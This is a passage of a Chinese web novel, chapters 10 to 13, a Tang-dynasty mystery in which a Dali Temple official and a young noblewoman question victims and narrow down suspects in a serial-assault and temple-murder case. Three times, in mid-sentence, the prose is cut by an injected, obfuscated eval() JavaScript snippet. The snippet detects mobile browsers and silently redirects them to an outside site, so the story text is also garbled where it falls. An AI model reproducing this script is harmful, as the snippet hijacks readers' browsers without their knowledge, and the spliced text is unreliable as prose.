大抵是裴湛的君子气度太盛,两个丫鬟连连道谢,全然未觉这位裴郎君的“帮忙”有些不妥。 裴湛镇定自若起身,道:“无妨,举手之劳而已。时辰不早了,今日便到此罢。待明日各方回报,通盘筹酌,再商良策。沈娘子,早些安置。”说罢,叉手行礼转身离开。 屋檐已染上落日余晖的昏黄,暮春的风卷起庭院里的梨花瓣,洒落在游廊之下,裴湛再次被梨花香包裹,他停驻在栏楯边,拾起扶手上一朵白瓣红蕊的梨花。 深嗅几许,似有若无又带着一丝清新水汽的花香,在他鼻边捉迷藏,顺着脖颈钻进衣襟,诱得喉结本能滑动,思绪万千。 一开始,裴湛压根儿不想管一起远在洛阳的奸杀案,可架不住玉贞长公主跑去大理寺胡闹又到家中找母亲哭诉,她这一折腾,顶头上司和阿母坐不住了,硬让他管了这闲事。 未曾想,本以为只是帮着围捕犯人,哪知事态层层反转,胡七不是犯人,被害的□□根本不是女子,行凶者可能有两人。 呵,真有意思,这案子愈发有趣。 如今还多了个沈家娘子,待回到长安,他必定抽出时间好好查查她,说荤话进敛房也就罢了,居然还盯着男子的……看了半天,真是不知羞! 10. 第 10 章 第二日,查找真□□下落的冯县尉暂未归,裴湛转向耿文达和杨沅君:“先说说你二人昨日调查到的信息。” 耿文达:“头儿,经我反复查勘,发现一处疑点。凶手的行动轨迹大致是,随假□□进入袇房,下药行凶,从房门逃窜至院角,借树攀上院墙,而后跳下逃走。 根据灵微的说辞,听见喊叫声,进入院内,但并未见过凶手,而后一步的无尘却看到凶手跳下墙的背影。我派人反复试验过,从二人站立的位置出发,根本无法实现,先入内的灵微完全没见到凶手,而院外的无尘却看到他的背影。” 沈缨华问:“耿司直,会不会凶手身手敏捷,躲在角落,或已经攀上院墙,灵微未曾留意。” “额……此情况微乎其微。首先死者住的院子仅有一间袇房,并无其他藏身之处,其次树的位置正对院门,墙也不算高,我让不同的人试了好几次,进门一眼便会瞧见墙上有人。” 裴湛抱臂发问:“你意思是,灵微说谎,她看到凶手了,却出于某种原因,谎称未见?” 耿文达点头又补充:“你们别忘了,沅娘说过凶器既有匕首又有剪子。假如,粉衣人刺匕首在先,那灵微恐怕不是说谎袒护凶手那么简单,或许就是她用剪子补刀。” 杨沅君:“我这儿还有一处疑点,灵微声称听到了尖叫声,但我以梅饼验伤法勘验死者全身后,发现他脸上出现掌印,是被人捂嘴后留下的痕迹,双手手腕有完整的掐痕。据此推测,他当时被凶手单手束缚住手腕,嘴也被捂住,应该没办法大喊大叫。” 耿文达略微思考:“若是先喊叫,再被捂住杀害,然后灵微进来,两人碰见,她认出凶手,却假装未见,任其逃走,发现假□□还在挣扎,又以剪子补刀让其死透。” 杨沅君:“这……倒也有可能,对了,还有一件事,假□□贴身穿的诃子没找到,我问过县衙的仵作,他验尸时并未动死者的衣衫,只查看了伤口。” 沈缨华猜测:“莫不是被凶手拿走了?” 杨沅君一头雾水:“拿这个干嘛,会不会假□□压根没穿?” 此话一出,屋里的郎君们多少有些不大自在,耿文达轻咳一声,转移话题:“所以现在有一种可能,灵微说谎甚至补刀杀人,但……她若咬死不认,咱们也无从验证真伪。” 案情一时陷入僵局,既如此,裴湛发话:“行了,大理寺的随我去询问被害人,查找是否有疏漏的线索。” “是,少卿。”众人得令准备出发。 沈缨华傻眼了,怎么没点她名啊,挡住落后一步的裴湛:“裴少卿,我能一道寻访被害人吗?” 裴湛绕开她,不肯答应,暗想:你虽聪慧,但毕竟没有办案经验,万一不慎透露了关键信息,让受害人心生防备可不妙。 沈缨华不愿放弃,小心拽住裴湛的衣角:“裴少卿,你们一群郎君去问被害人难以启齿的经历,恐怕也问不出什么,要不我和沅娘跟您一起?” “我本就要带沅娘。” “沅娘……她验尸在行,但论察言观色,我或许能出些力。” 窗外的晨光衬得杏眼越发明亮,那眼里满是讨好卖乖,真是惯会装样子,也不知查案有什么好玩儿的,这小娘子非但不怕反而乐在其中,算了,看在她聪明又不添乱的份儿上,大发慈悲松了口:“行吧,赶紧松开,别拽男子衣衫,被人看见成何体统。” 沈缨华乖乖放手,学着阿玲的口吻再次默默问候裴某人全家…… 冯县尉当初打着核查流民的幌子,探查到的第一位被害人田娘子来自九河村。大理寺有样学样,扮成商队入村,耿文达假装不经意走进田家小院。 田阿婆正磨面,见有生人进来,问:“你是何人?” 耿文达满脸堆笑,塞给田阿婆一枚铜钱:“阿婆,讨口水喝。” 田阿婆警惕心拉满,欲将耿文达推出去:“没水,走吧。” 裴湛见下属无能,主动绕上前,微微欠身,叉手行礼,道:“阿婆,吾乃卖酒的行商,途径此地,忽感口渴,可否讨碗水喝?” 田阿婆抬头,眯眼打量眼前的后生,其身挺拔如松,其音清朗如泉,再一瞧,飞眉入鬓,双眸如珀,鼻梁高挺,唇珠翕动。 田阿婆当即换了一副颜色,笑得褶子都能夹死苍蝇,抓起裴湛的手就往树荫下走:“哎哟,快坐下歇歇脚,这日头毒着呐。” 堂堂大理寺少卿被乡下老妇扯得一个趔趄,手足无措,道:“谢……谢,阿婆,我站着就好。” 区别对待过于明显,耿文达幽怨地盯着阿婆,嘀嘀咕咕:“真是世风日下,塞钱的竟还不如靠脸的。” 沈缨华努力憋笑,低声安慰道:“耿司直,食色性也,要怪就怪你家少卿姿容过盛。” “噗呲”几声,后面的下属们实在没忍住,笑出了声。 那边,裴湛还在与田阿婆拉扯,屋门忽开,田娘子牵着七八岁的男童满脸警惕,问:“阿姑,他们是谁?” 田阿婆满面春风,解释:“二娘,他们是过路的酒商,讨口水喝,桐儿快去拿几个碗来。” 男孩应声而动,田娘子欠身刚要回屋。 沈缨华拉着杨沅君,笑盈盈道:“娘子,我二人这身襦裙不便行动,可否与你换两套胡服?” 田娘子有些抗拒,本想拒绝,却被婆母抢过话头:“哟,小娘子快去快去!” “嗳,多谢阿婆!” 三人进屋,刚合上门,沈缨华遂说明来意:“田娘子,我二人受大理寺所托,前来核查连环采花贼案。外面的行商实则皆是大理寺官人,此为令牌,还望娘子协助。” 田娘子震惊地盯着二人,又瞧了一眼令牌,问:“胡七还未归案?” 杨沅君如实相告:“田娘子,大理寺怀疑胡七并非真凶,真正的采花贼还未落网。” “什么?!” 沈缨华握住田娘子的手,安抚:“田娘子莫怕,官人们已有怀疑之人,但苦于缺少证物。娘子可否再将案发经过细细道来,我二人只为查找线索,绝不会透露娘子的信息。” 受害的田娘子顿时松了口气,当初冯县尉带人来查案,她一时激愤才说出被侵害之事,当晚便后悔了,生怕被外人知晓,流言缠身。 家中郎君早逝,她一人撑起一个家本就辛劳不已,若非实在忍不下这口气,她本想烂在心中一辈子……好在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317609|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冯县尉是好人,硬是将消息封锁在县衙之内,被害女子皆未公布真实身份。 眼前大理寺的官人们亦是考虑入微,甚至让小娘子来问话,她心生感激,再次回忆案发当日的情景,大致过程皆和卷宗记录一致,并没有特别的发现。 阿玲再次献策:“我大学时曾选修犯罪心理学,老师说过,连环凶手大多有特殊的犯罪癖好,其中一类就是喜欢拿走被害人的物品当作纪念。” 沈缨华遂问:“娘子,那贼人可有偷走什么物件吗?” 田娘子一怔,有些窘迫地低声说:“其实……那贼人离开后,我发现柜子里少了一件诃子,但……但这也不值钱,说出来又丢人,所以……” 杨沅君义愤填膺,道:“丢人的是那该死的贼人,田娘子能勇于站出来,帮官人们破案,大义也!” 沈缨华轻声问:“田娘子,冒昧多问一句,那诃子什么颜色花纹,可有特殊标记,若是能够找到,这便是最有力的物证。” 田娘子想了想,起身从柜子里拿出一件干净的灰蓝色诃子,轻声说:“那件是青色,没有花纹,但角落也绣了一片这样的小叶。”说罢递给二人,沈缨华拿出小本画下绣样。 一天下来收获极大,所有被害人都证实,贼人每次作案后必取走一件她们的贴身衣物,沈、杨二人根据被害人的口供一一绘制并详细记录款式、颜色、纹样。 待裴湛一行回到馆舍,冯县尉早已恭候多时。 今早,他押着凌虚前往□□道长最后现身的空庙。 五年风雨,废庙早已坍塌,梁柱倾斜,残垣断壁,蛛网尘埃。 冯县尉带人翻开残砖碎瓦,却依旧一无所获。无奈正要带人离开,一阵阴风掠过后颈,他搓了搓发凉的脖子,余光瞥见庙外枯树上,攀着几株异常红艳的凌霄花。 青灰色的藤蔓宛如经络,蜿蜒向上,死死绞住枯树,绿叶层层叠叠,密不透风,猩红色的花从浓稠的绿意中钻出来。 山风拂过,喇叭状的花朵好似无数翕动的嘴,在风中微微颤动。 冯县尉踏出庙门,走近花枝,蹲下身,仔细查看。破庙四周草木枯槁,唯有此处,凌霄花根深茎壮,连杂草都多了几分油绿。 他脑中浮起一个传闻:凌霄花,又名鬼目,枉死者魂魄不散,其怨念聚而生花。身为执法者,冯县尉并不信这套,但此刻,他有了一个不大好的猜想。 “掘开此处!” 衙役们面面相觑,不知顶头上司此举何意,但既已发话,众人得令,纷纷以刀为锄,顺着花根掘开土层。 不多时,刀尖碰到硬物, 小心拂开泥土,一截灰白色的东西露了出来——是人的肋骨。 众人骇然,随即加快挖掘。 不多时,一具被纷繁的根系穿透包裹的人类尸骸终于显露出来。 凌霄花的主根自尸骨的胸腔而出,细细密密的根须扎进白骨各处,甚至在眼眶处织成一张网。 县衙仵作将根须一一剥开查验,发现尸骨头颅后侧凹陷,边缘破损。 “冯县尉,小人初断,死者为女性,年约双十,后枕伤口长约两寸,应是重器击脑而亡……” 11. 第 11 章 虽早知□□道长凶多吉少,但残破的尸骨呈于眼前,众人亦忍不住阵阵叹息。 裴湛蹲下身,目光锁定遗骸下残存的道袍碎片:“所以,这具尸骨恐怕才是真正的□□道长,假□□杀了她,取而代之,如今又被他人灭口。” 耿文达灵光一现:“会不会是真□□的亲友得知真相,扮作采花贼杀了他?” 冯县尉:“下官已派人去查真□□的身世,以及假□□的真实身份。” 裴湛问:“假□□的身份如何查?” “下官认为,假□□既然敢在庙中杀人埋尸,必定带了工具甚至熟悉那片区域,知道破庙人烟稀少,不会被人撞见。我已派人在附近方圆二十里内查找其身份,过几日应该会有消息传回。当然,这只是下官的推测,还请少卿明鉴。” 裴湛赞誉地点头,随即拿出沈缨华绘制的平面图,放在案几上。 “昨日,沈娘子在查找卷宗时,发现凶手作案的规律……” 耿文达摸着下巴猜测:“莫非凶手是货郎,每过一段时间便换一处地儿卖货?” 杨沅君立马反驳:“不可能,谁家货郎每月还有固定休息时间,你以为是官人休沐吗?” 冯县尉脑中炸开一道灵光,蹦起来:“杨娘子你说什么?” “啊?我说货郎一般不会有固定休息的时间,他们都是每日出摊,天气不佳才会休息。” “不不不,后一句!” “后一句?官人……休沐?” 冯县尉就像是抓住了救命稻草一般,语气兴奋又后怕地说:“休沐,对,我怎么一开始未想到这个。裴少卿、耿司直,去岁年末,我发现有小吏压榨辖区百姓,收取黑钱,便安排手下人每隔一个月换地巡逻,换防顺序便是东-西-南-北-城中,小吏们休沐也恰好是每十日一次。” 裴湛恍然大悟:“原来如此,所以那犯人很可能藏在小吏中,怪不得他每次都能精准的选中被害人,恐怕是利用自己巡逻的机会摸清了当地情况,再等休沐日下手。” “冯正,你手下小吏有多少人?” “捕快、文书、杂役还有不良人,少说也有六十人,其中参与巡逻的有近四十人。” “这么多!那得查到何年何月……”耿文达无奈叹气。 裴湛倒是松了口气,先前沈缨华推理出的嫌疑人信息终于派上用场,随即发话:“世琛,你随冯正去筛选一下嫌疑人,挑出身高约五尺五寸,走路喜欢拖着后脚跟,身手敏捷,擅长奔跑之人。” 耿文达眼睛一亮:“对对对,我怎么把这茬忘了。” 既已有明确的排查对象和筛选条件,冯正很快锁定三个嫌疑人。 张大福,二十六岁,未婚,汜水县人,嗜赌成性,月俸一到就立马钻进赌场,不过十赌九输,欠下不少债务。 刘耕,二十八岁,未婚,巩县人,与家人住在城东,平日倒也没什么不良爱好,但传闻此人好色,与好几个女子都有说不清道不明的暧昧关系。 梁山,三十三岁,已婚,巩县人,家住城南,娘子是个性格凶悍的卖肉的商户,此人惧内,平日也是胆小谨慎的性子。 这三人完全符合沈缨华关于嫌疑人的推断,耿文达耐不性子,立马拍胸脯保证:“头儿,我这就将三人逮回来挨个盘问。” 冯正忙制止:“耿司直,恕下官多言,现在还不是抓人的好时机。” 耿文达狐疑:“冯兄,都这个时候了,你难道还想偏袒手下人?” 冯正忙摆手否认:“冯某绝无此意,只是这三人都在衙门当差多年,熟悉办案流程和审问手段,眼下尚无明确的证据,贸然拿人,恐会打草惊蛇。” 裴湛点头赞同:“既如此,便先秘密调查吧。世琛,你安排人手监视三人,寻个恰当的时机挨个审问。” “是。” 案件调查总算有了进展,晚食后,众人回屋歇息准备第二日的秘密调查。 沈缨华在屋中推演案情:一是凶手可能是在衙门当差的连环采花贼,他利用职务之便,筛选出合适的被害人,待休沐时下手。本欲侵害假□□,却不料“她”中途醒来,慌乱下错手杀人。此贼还有收集被害人贴身内衣的癖好,无论是以前的被害人还是被杀害的假□□,她们的诃子皆被拿走。 二是凶手可能是伪装成采花贼的杀人者,为替真□□报仇,下手杀害假□□。此外还有一位隐藏的犯人,他见假□□未断气,便用剪子补刀。 阿玲补充道:“此案还有几处谜团,五年前,清辉观声名不显,仅是巩县周边一处小观罢了,假□□杀人入观目的何在?女冠说,曾撞见假□□与几个陌生男人私会,那些人是谁?胡七家中搜出被烧坏的血衣,回城路上还有人引导村民跑入驿站捉拿他,那人为何想方设法要弄死胡七,难道他有真凶的把柄?” 想到这儿,沈缨华坐不住了,立即起身风风火火闯进郎君们的院子,后面跟着一脸无奈的玉露、含霜。 裴湛也想到这茬,正将胡七拘在屋子里,让他好好想想这三个嫌疑人与他有何瓜葛。 胡七抓耳挠腮,想了半天:“裴少卿,张大福与我不怎么熟……不过,刘耕和梁山倒算得上认识,刘耕住的地儿与我租住的小院不远,抬头不见低头见,不过他自持是吃官饭的,瞧不起我这种不入流的小贩,不爱理人,要我说就他这水性杨花的做派……” 裴湛无语:“水性杨花是用来说女子的,男子该用轻浮。” “反正就那意思,刘耕仗着自己脸还算周正,又有正经差事,勾搭了不少女子,反正不是什么好货。” 二人正说着,叩门声响起,门外传来沈缨华的声音:“裴少卿,胡七是不是在您这儿,我有事要问他,劳烦开开门。” 裴湛头疼,这天都黑了,她一个大家闺秀夜闯男子居所成何体统,正想随口打发走这缠人的小娘子,偏偏没眼色的胡七抢先应声:“沈娘子,我在呐!” 裴湛瞪了眼一脸无辜的胡七,黑着脸起身开门,双手抵门挡住沈缨华:“沈娘子,天色已黑,你就不能明日来问吗,虽说这院子里都是大理寺的人,不会有人传闲话,但是到底是……” 沈缨华未等裴湛说完,径直从他手臂下钻过去,大言不惭地说:“裴少卿是正人君子,再说了,我这不是还带了玉露、含霜一起嘛,怕什么。我就问胡君一点小事……胡君,你认识梁山吗?” 胡七点头:“认识,他岳家是屠户,娘子是卖肉的商户,我常替他娘子跑腿送货。梁山是个老实巴交的性子,虽是小吏但赚得还不如他娘子多,在家中没什么地位。” 裴湛皱眉问沈缨华:“你为何怀疑梁山?” “倒也不是怀疑,但我在清溪村听过这名字,觉得耳熟,所以多问两句罢了。” 胡七恍然大悟:“哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317610|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,他岳父就住在清溪村。” “清溪村?!”裴湛立马警觉,下意识看向沈缨华,二人四目相对,都从彼此眼中读懂了对方的想法,太巧了,难道逃入驿站馆舍的贼人是他? 胡七又嘀咕:“说起来,与刘耕私会的女人也住在清溪村,都已嫁人了还胡来,真替钱大不值……” “等等,你说刘耕的一个情人也住在清溪村,夫家还姓钱?”沈缨华惊叫。 胡七点头:“对啊,就是上次随村民闯入馆舍,说差点被采花贼侵犯的那女人。” 裴湛气不打一处来:“你怎么不早说!” 胡七委屈:“这这毕竟是人家家事,我一外人说这么多干嘛,自讨没趣,也不想污了官人们的耳。” 沈缨华恨铁不成钢地教育胡七:“胡君,你口中的这些小事可能皆与案子有千丝万缕的联系。就说驿站进贼那回,贼人为何舍近求远,非往驿站跑,会不会是他故意引村民来,想要借他们之口栽赃于你,若不是大理寺官人明察秋毫,我又机缘巧合替你解围,此刻你恐怕早已下狱!” 胡七闻言瞪大双眼,遍体生寒,他真没想到驿站闹贼竟又是针对他的局,此贼居心叵测,一次两次陷害于他,难道凶手是他们…… 胡七竭力压下惶恐,拍胸脯保证自己一定知无不言言无不尽:“沈娘子、裴少卿,我想起一事,与张大福有关。此人好赌,常年借钱还赌债。与我同住一院的牛二郎是个捉钱人,前些年张大福隔三差五就要来找他借贷赌博,但这两年不知他得了什么发财的路子,手头宽裕不少,牛二郎还曾与我抱怨过此事。” 裴湛点头表示自己知道了,话锋一转:“好了,今天就到此为止吧,胡七你先回屋歇息,沈娘子我送你回屋。” 沈缨华还想再问胡七与刘耕的渊源,却被裴湛挡住,他长臂一伸,直接赶客,沈缨华噘嘴翻了个白眼。 阿玲忍俊不禁:“你是什么洪水猛兽,惹得裴大人避之不及,催个不停!还是……你耽误他半夜去会基友,嘿嘿嘿。” “什么是基友?” “哦,你们这儿叫断袖。” 沈缨华正欲反驳阿玲,转念一想,倒也不是没可能,长安城中好多有头有脸的郎君养小倌。 只是,裴湛这副皮囊,还好男风? 阿玲语带促狭:“你懂什么,说不定人家就喜欢身娇体软的美少年,嘿嘿嘿。” 沈缨华狗狗祟祟打量走在前边的裴湛,心想:瞧着还是挺正经的啊…… 裴湛放慢脚步,叹口气,暗想:某人真是不识好人心,自己明明是为了她的清誉着想,怎么还被怨上了? 他缓缓开口:“沈娘子,你一直都是这样……随性吗?” 沈缨华正心虚,一时间没察觉他语气里的阴阳怪气,随口答:“随性?这世道的女子哪能真的随自己性子啊,我不过是运气好,生在沈家,家中长辈对我宽容爱护,所以多了几分洒脱不羁罢了。” 裴湛转头看向身后的女子,今夜晚风微凉,她鬓边的发丝被风吹起,空气中有清淡的牡丹花香,月光下的面庞宛如蚌中珍珠,透着温润的莹白。 明明是娇艳秀美的小娘子,内里却仿若住了个莽撞的郎君。 他忽然好奇,清高刚直的沈秘书郎怎会养出这般肆意妄为的女儿,还有……她怎么住在洛阳的道观中,难道是犯错被惩罚了,可这也太远了点。 12. 第 12 章 第二日,大理寺所有人同时出动,秘密监视张、刘、梁三人,刘、梁二人正当值并无异动。 张大福恰逢休沐,一头扎入赌坊,果不其然,输了个底儿掉。他骂骂咧咧走出赌坊,在柳叶巷口来回踱步,终于下定决心进了胡七曾经租住的小院。 “牛二郎,在吗?” 牛二郎闻声开门,见来者是老熟人,喜笑颜开:“哟,张大官人今日怎么得空来我这儿?” 张大福懒得与他废话,开门见山:“最近手头紧,找你放点钱,现在月利几何?” 牛二郎见生意上门,忙说:“跟您肯定是老规矩,月利一成,不涨价。” 张大福顿觉肉疼,他一个月月钱八百文,本来这收入勉强够一家人糊口,奈何他前些年染上赌瘾,一日不去,顿觉心慌手痒。虽说是输多赢少,但就是管不住手,不过五六年积蓄丢了大半。 他本是家中幼子,自幼父母溺爱,异母兄长娶妻生子后不幸溺水而亡,他母亲趁机唆使父亲,逼嫂子改嫁带走女儿,自己则顶了父亲的职位成了县衙小吏,日子过得好不快活。 后来,赌瘾越来越大,家中田舍被败了干净,本来说好的亲事也黄了。他干脆一不做二不休,一条路黑到底,彻底沦为赌坊常客,父亲被活活气死,母亲终日抹泪,直言是报应。 要他说这哪儿是报应,要不是好赌,他哪能遇见那人,还过了两年潇洒日子,可惜咯…… 张大福回神:“先借两贯,过两月就还。” 牛二郎递上契书:“好说好说,您可是老主顾,宽限几日也无妨。”随即叫来邻人做见证,这月的捉钱单子又成了一笔,好不快活。 张大福拿上银钱,从后门溜出院子,准备杀回赌桌。耿文达见时令手下蒙面掳走他,绑进一间偏僻的空屋。 张大福被人蒙眼堵嘴,丢在陌生的屋子里,心中惶恐不已,以为贼人是冲着刚借到手的赌资来的。 耿文达刚一扯开堵嘴的布条,他立马颤颤巍巍求饶:“好汉饶命,我我我的钱都在布袋子里,你们全拿走吧,莫害性命就成。” 耿文达粗声粗气地模仿乡野匪徒:“切,就这么点儿,你打发谁呐!你欠爷的就这点儿?!” 张大福脑子轰地一声炸开,哆哆嗦嗦,试探问:“是是是洪爷吗?我我我欠的那些不是说好过两个月再还吗,这还没到日子呐,洪爷您别急啊,我到了时日一定还上!” “我呸,我怎么听说你财路被断了,恐怕还不上啊!” “洪爷,洪爷,我……我我确实少了一点进项,但您放心,欠您的绝不少一个子儿,到时定还上!” 耿文达见他话里有玄机,继续诈他:“说说吧,你进项是少哪儿了,爷去帮你讨回来!” 张大福语气苦涩:“洪爷,讨不回来了,那小子死了……” “谁死了?我找他家里要去!” “要不回来了。” “呸,爷什么要不回来,给我说是哪家的,姓谁名谁,我立马找人讨去!你若是诓我……” 张大福吓得跪在地上,瑟瑟发抖,生怕这“洪爷”气不顺把自己办了,只好硬着头皮说出来:“就……就是那清辉观死掉的女冠,他其实是个男的,哦,不对,是个阴阳人,不知怎么混进道观,我认得他,所以从他那儿讨了些银钱……” 耿文达闻言也不装了,沉声吩咐:“来人,把他带去严加审问。” 张大福这才察觉不对得,大喊:“你是谁?!竟敢诓骗我,你知道我是……” 他话还未说完,蒙在眼睛上的布条被扯开,眼前人分明是前几日来的大理寺官人,完了完了,他的事儿瞒不住了。 张大福被大理寺下狱,他生怕受刑,所幸将知道的吐了个痛快,以免皮肉受苦。 假□□,二十五年前出生于汜水县六合村一户廖姓人家,行五,出生时并无异常,但廖五郎长到十岁时,家人发现他既有小娘子的胸部又有小郎君的□□,人人皆说廖家无德才会生出此非男非女的孩子,廖家受不了闲言碎语,便狠心将他赶了出去,此后一直混迹于县城的乞丐窝。 廖五郎本是内向怯懦的性子,但世人的嘲笑、冷漠、伤害如同锋利的刀子,一刀一刀将曾经的廖五郎肢解,从臭水沟中重新拼凑出的他变得狡诈阴冷。 他靠着天生的诅咒之躯和后天的巧舌如簧,拐骗良家女子和幼童卖入烟花柳巷,作案无数。这见不得光的买卖做了好些年,终于被官府察觉,一举端掉,他却侥幸逃脱,不知所踪。 张家与廖家原是同村邻居,张大福与廖五郎本是发小,廖五郎在县城流浪时,张大福还曾接济过他。 两年前,张大福替人跑腿去清辉观取平安符,竟发现那□□道长与廖五郎面容相似,几番试探后,终于认定此人就是失踪多年的故人。 他懒得管廖五郎为何藏身道观,坦言只要给钱,他就守口如瓶,廖五郎倒也痛快,承诺只要不声张,每月便会给他三贯。 冯正听起怒火中烧,自己手下明知那假□□是个罪行累累的匪人,却为了银钱助纣为虐,案发后又为了自保不肯说出假□□的真身,害得其他人费时费力搜寻数日无果, 他气得捏紧拳头,恨不得过去揍张大福一顿。 张大福被冯正瞪得他发慌,忙求饶:“头儿,我错了,我错了,都怪我好赌惹祸,但我真没有杀他,呜呜呜……” 耿文达忍不住冷嘲热讽:“呵,你以为叫几声冤枉就能脱罪?依我看,定是你长年累月敲诈廖五郎,他心生厌倦,不肯再予你银钱,而你又借了赌庄一大笔钱,眼见要还不上了,于是铤而走险扮成女子去威胁他,继而发生争斗,你错手杀人,惊慌之下翻墙逃走,后来衙门查到县里有一采花贼,于是你心生一计,陷害胡七以求脱身。” “耿司直,冤枉啊,我虽是个烂赌鬼,但绝对不敢害人性命!案发那日我在……在巡逻,对,就是在巡逻!” 耿文达嘲意更甚:“巡逻?刚才我已派人去核查过,你中途借口拉肚子,提前溜了,算起来与案发时间也差不多呐。” 张大福吓得面如土色,不敢再有隐瞒:“耿司直,那日我确实找借口先溜了,但我是去城西燕子巷赌坊还债,顺便小赌了两把,路上还撞见了刘耕和他姘头,您不信赌坊的人,总要信刘耕啊。” 耿文达与冯正相视一眼,真是踏破铁鞋无觅处,得来全不费工夫,正愁找不到合适的借口审问刘耕,张大福就将枕头递了过来,他们立即着人去叫来刘耕。 刘耕刚下值就被拉走,一头雾水随人进了审问房,这才知大理寺的官人怀疑同僚张大福有作案嫌疑。张大福当然极力否认,转头就说出□□被害当日曾见过他。 刘耕面色一僵,支支吾吾半天,眼见实在瞒不过,只好坦白那日他去城西找老相好交流感情,二人结束“活动”出院子时的确遇见了从赌坊出来的张大福,那会儿大概是申时末。 裴湛得知审问结果后,默想:倘若张、刘二人没有说谎,那他们应该就不是凶手。清辉观的女冠们都声称见到的贼人是申时初出现在观中,从城西到城外的清辉观,快马加鞭至少也要一个时辰,一来一回至少两个时辰,这俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317611|198995||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人根本没有作案时间。 如此说来,嫌疑人就只剩下一人——梁山。但冯正实在无法将老实巴交的梁山与奸杀贼联系在一起。 “裴少卿,并非我想包庇梁山,可这人平时谨小慎微,而且成婚多年,实在不太像……” 沈缨华却出言打断他的话:“冯县尉,有一事你恐怕不知,在我们来到衙门前一晚,曾在洛口驿站突遇村民围捕贼人,当时有位阿叔提到,梁山说胡七家中找到匕首和血衣,可我记得耿司直明明只提到血衣,怎么到他那儿就多了一样。 第二日,我去村里本想找他当面询问,这才发现他根本不住在清溪村,当日下值后突然来村中岳丈家。上次查看卷宗时,我再次确认里面没提到匕首一事。” 裴湛接过话头:“所以他有很大的嫌疑。本案卷宗里目前只提到剪子,但根据沅娘的勘验,凶器极有可能是匕首和剪子,他若清白,根本不会知道匕首一事,但他若是凶手,便是不打自招露出了破绽。” 冯县尉闻言有些恍惚,这才想起一事:“如此说来……我记得胡七会易容一事,似乎也是梁山报上来的。” 一开始扑朔迷离的线索突然串在一起,众人恍如走出迷雾,眼前的图景正慢慢明朗。 耿文达立即起身:“走走走,别耽搁了,立马提审梁山。” 裴湛摇头:“不行,不能打草惊蛇。此番推测尚无真凭实据,他若抵死不认,咱们也无可奈何。” 冯县尉赞同,说:“裴少卿,要不您先派人监视他,知晓他的行踪后,再作下一步打算?” 裴湛挑眉:“冯县尉不派人?” “他是我手下小吏,关系网复杂,万一被人走漏风声,恐会让其逃脱。说起来,若不是我安排巡逻,那梁山也不会犯下累累罪行后屡次逃脱。此番祸端,皆是我的责任。” 冯正说完,羞愧地低头躬身道歉。 耿文达扶起他安慰:“你这是作甚,犯案的是他,又不是你。就算你不安排巡逻,这臭淫贼就会消停?冯兄,切勿揽下莫须有的责任。” 裴湛也发话:“好了,是非功过,待犯人归案后再说,当务之急是收集证据。世琛、冯正你们领一队人马去监视梁山,看其是否有可疑之处。” 众人得令散开,准备去监视嫌疑人,沈缨华跟在耿文达身后:“耿司直,几时出发?” “我们……”耿文达正想回答,被裴湛踹了一脚,“头儿,你干嘛?” 裴湛嫌弃地看了他一眼:“让一个小娘子跟在一群五大三粗的郎君身后,你是生怕不被发现?” “对对对,有道理。沈娘子,您还是留在馆舍翻阅卷宗吧。” 阿玲瞬间来了气:“合着拿你当文秘用啊!” 作为新时代的职业女性,阿玲对性别歧视深恶痛绝,一听见所谓“优待”女性的调调就应激,瞬间战斗力爆棚:“凭什么女的不能去!他们过河拆桥,不要脸!” 沈缨华也不甘心,想追上去,却被裴湛挡住。 她面色不虞,一把推开他的手臂,阴阳怪气道:“少卿真是好手段,查找线索的时候让我冲锋陷阵,如今找到嫌疑人便将我一脚踢开!” 说罢,也不等裴湛解释,气呼呼地跑回屋,越想越气,恨不得把裴湛暴揍一顿。可惜自己只是普通的闺阁女子,而裴某人位高权重,二人压根不是对等关系。 阿玲叹口气,忽然很心疼沈缨华。自己虽挂了,可好歹曾拥有过宽广的世界,而阿丹纵有一身才华,也只能被困在四方宅院,未来成为某人的贤内助,继续被困在新的四方院…… 13. 第 13 章 “阿丹,你也写书吧,哪怕这个时代都忽视你的才能,总有后来者能透过文字知道,你曾来过。” 沈缨华微怔,心跳声盖过了周遭一切,明明只是一个提议,就让她心潮澎拜,心底的声音下意识涌到嘴边:“好!” 说干就干,素材就摆在眼前,不用白不用,至于主角和情节嘛,嘿嘿嘿…… 她铺开纸笔,奋笔疾书,压根不带一点停顿,仿佛脑子早已装了“正本”,现在只是誊抄一遍“副本”。 阿玲啧啧称奇:“你还真是当作家的好料子,连大纲都没列,直接就开写了。不过……这里描写的花瓶县令,是影射的裴少卿?” “花瓶?这词贴切,我用了……” 